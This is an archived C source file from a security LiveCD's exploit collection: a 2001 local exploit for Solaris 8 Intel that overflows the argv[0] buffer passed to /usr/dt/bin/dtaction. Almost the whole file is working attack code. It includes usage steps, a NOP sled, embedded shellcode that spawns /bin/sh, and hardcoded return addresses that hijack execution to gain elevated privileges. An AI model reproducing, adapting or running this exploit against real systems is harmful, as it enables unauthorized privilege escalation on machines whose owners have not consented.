home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / ximp40.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  73 lines

  1. /*=============================================================================
  2.    Solaris ximp40 shared library exploit for Solaris8 Intel Edition
  3.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  4.    Written by UNYUN (shadowpenguin@backsection.net)(Solaris7/8)
  5.    [usage]
  6.     #xhost +targethost
  7.     #telnet targethost
  8.     ...
  9.     %setenv DISPLAY yourhost:0.0
  10.     %gcc ximp40.c
  11.     %./a.out
  12.     0:Default value 1:Calculated value > 1   <- Input 0 or 1
  13.   =============================================================================
  14. */
  15.  
  16. #include  <stdio.h>
  17.  
  18. #define     BUF_SIZE        272
  19. #define     EIP_OFFSET      260
  20. #define     FAKE_OFFSET     264
  21. #define     FAKE_VALUE      0x08046dec
  22. #define     EIP_VALUE       0x08047cb4
  23. #define     FAKE_VALUE_DIF  0xd9c
  24. #define     EIP_VALUE_DIF   0x12c
  25. #define     NOP             0x90
  26.  
  27. char    shell_code[]=
  28.   "\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1"
  29.   "\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf"
  30.   "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89"
  31.   "\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff"
  32.   "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff"
  33.   "\xff\xff";
  34.  
  35. unsigned long get_sp(void)
  36. {
  37.   __asm__(" movl %esp,%eax ");
  38. }
  39.  
  40. void valset(char *p,unsigned int val)
  41. {
  42.     *p=val&0xff;
  43.     *(p+1)=(val>>8)&0xff;
  44.     *(p+2)=(val>>16)&0xff;
  45.     *(p+3)=(val>>24)&0xff;
  46. }
  47.  
  48. main()
  49. {
  50.     char            buf[BUF_SIZE];
  51.     unsigned int    esp=get_sp(),sw;
  52.  
  53.     memset(buf,NOP,BUF_SIZE);
  54.     memcpy(buf+EIP_OFFSET-strlen(shell_code),shell_code,strlen(shell_code));
  55.  
  56.     printf("esp=%x\n",esp);
  57.     printf("0:Default value 1:Calculated value >");
  58.     fflush(stdout);
  59.     scanf("%d",&sw);
  60.     if (sw==0){
  61.         valset(buf+FAKE_OFFSET, FAKE_VALUE);
  62.         valset(buf+EIP_OFFSET , EIP_VALUE);
  63.         printf("Jumping address = %x\n",EIP_VALUE);
  64.     }else{
  65.         valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
  66.         valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
  67.         printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);
  68.     }
  69.     buf[BUF_SIZE-1]=0;
  70.  
  71.     execl("/usr/dt/bin/dtaction",buf,NULL);
  72. }
  73. /*                   www.hack.co.za  [2 Febuary 2001]*/